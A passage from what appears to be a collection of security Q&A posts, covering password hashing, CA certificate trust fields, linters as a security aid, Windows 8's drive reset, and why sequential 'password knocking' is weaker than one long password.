In our case, the main hash we use is SHA-512. References to MD5, SHA1, Crypt etc are outdated and should not be used. This is another example of the advantage of this approach. We used to use SHA-1 and even Crypt once upon a time. We could update to a newer hashiing algorithm easily without having to worry too much about LDAP and versions etc.


Certificate Matching Fields I have imported a CA into Chrome, and I am signing my own cert with the CA's private key. Obviously, I need the Common Name of the Issuer on my Cert to be the same as the Common Name of the subject of the CA.

I am trying to understand which other fields need to match for the browser to trust that my cert was signed by the right CA? Does every field need to match exactly? Do the two public certs need to have the same extensions installed? Does the signatureAlgorithm need to match? Is this documented somewhere?

The CA will be self-signed, so actually its issuer and subject will be identical (I believe).

Will browsers ignore certs that are valid for too long? What if I make the CA cert valid for 50 years? What if the cert is coming from an HTTPS proxy instead of an HTTPS website?

Not going to answer the question directly, because I consider it too broad, but I'm going to give some advice.

If you want to clearly understand how certificates work, you will have to develop your learning path. Which will include:

PKI Fundamentals. Hierarchies, components, trust anchors. Wikipedia materials will be sufficient to understand basic concepts.
X.509 profile. Certificate structure and contents: mandatory fields and v3 extensions. These topics are greatly explained in RFC5280 §§1-5
Certificate chaining engine. For start I would recommend something less sophisticated. For example, my own blog post: Certificate Chaining Engine — how it works. Although, it is Microsoft-specific, but general concepts are still universal.
Understand constraints in details: Basic Constraints, Name Constraints, Certificate Policies. RFC5280 §4.2.
Detailed (and a bit sophisticated) abstract certificate chain building and validation algorithm in RFC5280 §6.
Explore Internet PKI regulatory organizations. Learn about CA/B Forum and their Baseline Requirements. RFC is more about X.509 profile itself, while CA/B Forum is more about industry practices used in HTTPS/TLS applications.


How to explain to our developer manager the benefits of using a linter also as a security feature? Someone mentioned that linters would have helped not only for keeping the code looking better and friendlier, but also safer.

ESlint has a rule to indicate, for example, to use {} which would have helped avoid the ‘goto fail;’ bug in Apple products from a few years ago.

What would be the best way to convey this message from a security perspective to a development manager to use a linter (Ex. ESlint) as part of developers "tools"?

Because you are talking to a manager talk to them in terms that make sense to their world - costs.

Linting stops mistakes being made earlier speeding up the release process as well as reducing costs.

In terms of securing a product some linter's provide rules for detecting common security mistakes that say a junior developer may not be aware of. You can also create specific rules yourself for business logic rules you may want to enforce depending on your stack.

This falls into the shift left mentality of software development - my personal favorite is the SonarLint as I have written security rules in it for Java, XML and C# and once written they are provided to developers with the tool installed in their IDE and enforced without them needing to know about the rule other than they must follow it.


How secure is the Windows 8 "Reset your PC" function? Windows 8 has a feature to "Reset your PC" so that if someone needs to give their computer away, the recipient won't be able to recover data.

How secure is it?

That entirely depends on the option chosen during the use of the Reset your PC tool:

As you can see in the image above, the user is presented with two options:

Just remove my files option is the faster of the two, and is meant to be selected when you're resetting your PC for your own personal use also after the reset.
Fully clean the drive will take much longer to complete, and is to be used when you're giving your PC to someone else. It's supposed to prevent anyone from extracting personal information from your previous Windows 8 installation by using forensic file recovery tools, and make it safe to transfer your PC to a new owner.

Both options will literally install Windows 8 from scratch (which is good to know, as you might need to reinstall any custom drivers not included in your Windows 8 installation), but the latter option (Fully clean the drive) is supposed to securely* erase your files, before it proceeds with reinstalling Windows 8. When the program finishes, it leaves your computer free of your personal data, and with a fresh copy of Windows 8, ready for the new owner.

* One thing to add though, that I haven't been able to find any information on what specific method is used to securely erase files from the drive that this tool will reinstall Windows 8 on. Microsoft isn't really clear on it either. For example, in their page on How to restore, refresh, or reset your PC:

  You'll be prompted to choose whether you want to erase data quickly or
  thoroughly. If you choose to erase data quickly, some data might be
  recoverable using special software. If you choose to erase data
  thoroughly, this will take longer but it makes recovering data far
  less likely.

Frankly, this lack of official information doesn't really fill me with confidence this process is entirely secure, and the recommendation to hire a certified Microsoft refurbisher in case of high risk data on their page on How to more safely dispose of computers and other devices doesn't help much either, basically telling us to buy more products to solve problems with the previous products we bought off them.

If you feel your best option is to secure erase your sensitive files on your own and not trust Windows 8's Reset your PC tool to do that for you, then here's a link to some apps on Windows 8 Downloads that should do that for you and are hopefully better documented, and here's another related question with some recommendations in the answers.


Is "password knocking" a good idea? With port knocking, you have to "knock" on specific ports in defined order to expose a port on which service is running.

How about password knocking? For example you have three passwords: A, B and C. None of them is correct by itself, but entered one-by-one in this order they will grant you access.

Some scenarios to make this idea clearer:

Scenario 1.

You: Password A.

Server: Invalid password.

You: Password B.

Server: Invalid password.

You: Password C.

Server: Password accepted.

Scenario 2.

You: Password A.

Server: Invalid password.

You: Password C.

Server: Invalid password.

You: Password B.

Server: Invalid password.

Scenario 3.

You: Password A.

Server: Invalid password.

You: Password B.

Server: Invalid password.

You: Password B.

Server: Invalid password.

You: Password C.

Server: Invalid password.

Scenario 4.

You: Password A.

Server: Invalid password.

You: Password A.

Server: Invalid password.

You: Password B.

Server: Invalid password.

You: Password C.

Server: Password accepted.

I can't think of any drawbacks of this method over regular single password login. Moreover, it makes dictionary attacks exponentially harder with each added password.

I realize it's security by obscurity and doesn't abolish the need for strong passwords. Password sequence itself is as strong as a concatenation of passwords used. Added security in this method comes from unexpectedly complex procedure.

Is it a good idea? Is it a better idea than classic password?

The system outlined in the question is actually weaker than simply requiring a single password of length A+B+C, because it permits a class of attacks that can't be used against single passwords:

Say your three-password combination is E F G.  An attacker can send the passwords A B C D E F G, making five attacks (A B C, B C D, C D E, D E F, and E F G) for the price of two.  The general term for this is a de Bruijn sequence, and it lets you attack any state-based system (such as a digital lock) using far fewer tries than there are possible combinations.